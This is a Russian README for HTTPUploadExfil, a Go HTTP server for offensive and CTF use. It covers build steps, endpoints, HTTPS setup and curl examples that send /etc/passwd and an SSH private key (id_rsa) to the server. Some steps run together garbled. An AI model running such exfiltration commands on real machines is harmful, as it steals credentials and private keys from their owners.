
Простой HTTP-сервер для доставки и эксфильтрации файлов/данных, например, во время CTF.
HTTPUploadExfil — это (очень) простой HTTP-сервер, написанный на Go, который удобен для получения файлов (и другой информации) с машины по HTTP. Хотя вариантов использования много, он предназначен для невысоких наступательных сценариев (например, CTF).
Воспринимайте это как python3 -m http.server, но для получения данных с машины, а не на неё.
Очевидно, что это очень шумный и несколько ограниченный способ эксфильтрации данных. Тем не менее, он довольно удобен и несколько проще, чем, например, использование SMB или FTP. Если вы ищете что-то более элегантное, посмотрите, например, на dnsteal или PyExfil.
go build../httpuploadexfil :1337 /home/kali/loot на вашей машине.http://YOUR_IP:1337/./home/kali/loot.Если вам нужен HTTPS, смотрите информацию ниже.
Вы также можете скачать бинарники для Linux и Windows с GitHub. Однако эти бинарники не обязательно отражают последние изменения.
Хотя бинарники доступны, настоятельно рекомендуется собирать этот инструмент самостоятельно. Так вы получите самую новую версию и будете точно знать, что запускаете. Процесс тривиален:
Просто выполните go build в папке, и вы получите исполняемый файл httpuploadexfil для вашей платформы.
Если вы вносите изменения в инструмент, не забудьте отформатировать код с помощью go fmt main.go.
В качестве альтернативы вы также можете использовать make для сборки инструмента. Также можно выполнить make cert для генерации SSL-сертификатов (см. ниже).
Наиболее распространённый случай использования — запуск сервера на Машине A. Затем на Машине B вы открываете форму загрузки в браузере и выбираете файл для эксфильтрации. Конечно, как показано ниже, это также можно сделать с помощью, например, curl.
Помимо загрузки файлов, вы также можете использовать HTTPUploadExfil для эксфильтрации данных с помощью простых GET-запросов. Если запрос отправляется на конечную точку \g, весь запрос будет сохранён на диск.
Таким образом, вы можете эксфильтровать данные, используя заголовок запроса. Проще всего использовать GET-параметры (например, ?data=...), но есть и другие варианты.

По умолчанию HTTPUploadExfil будет работать на порту 8080. Все файлы будут записываться в текущий каталог.
./httpuploadexfil
Вы также можете указать некоторые аргументы:
./httpuploadexfil :1337 /home/kali/loot
Если вам нужно логирование запросов, передайте флаг -log следующим образом:
./httpuploadexfil -log
Первый аргумент — это адрес привязки, второй — папка для сохранения файлов.
Инструмент также будет предоставлять доступ к файлам в каталоге трофеев по конечной точке /l. Это можно использовать как простой способ переноса файлов на цель.
Веб-сервер предоставляет четыре конечные точки для использования:
/ (GET) — форма загрузки./p (POST) — принимает данные из формы загрузки. Требуется запрос multipart/form-data с заполненным полем file./g (GET) — принимает любой GET-запрос и сохраняет полный запрос на сервере./l (GET) — предоставляет доступ к файлам в указанной папке (список каталогов). Это обеспечивает базовую функциональность python3 -m http.server.HTTPUploadExfil также может использоваться в режиме HTTPS. Для этого просто поместите файлы HTTPUploadExfil.csr и HTTPUploadExfil.key рядом с бинарником. Их можно сгенерировать, например, так:
openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr
Для этого также можно выполнить make cert.
Если сервер обнаружит файл HTTPUploadExfil.csr, он попытается запуститься в режиме HTTPS. Чтобы вернуться к HTTP, просто удалите или переименуйте файлы сертификатов.
Используя Bash, мы можем эксфильтровать данные через GET, например:
echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g
Конечно, мы также можем использовать curl для эксфильтрации файлов:
curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
python3 -m http.server)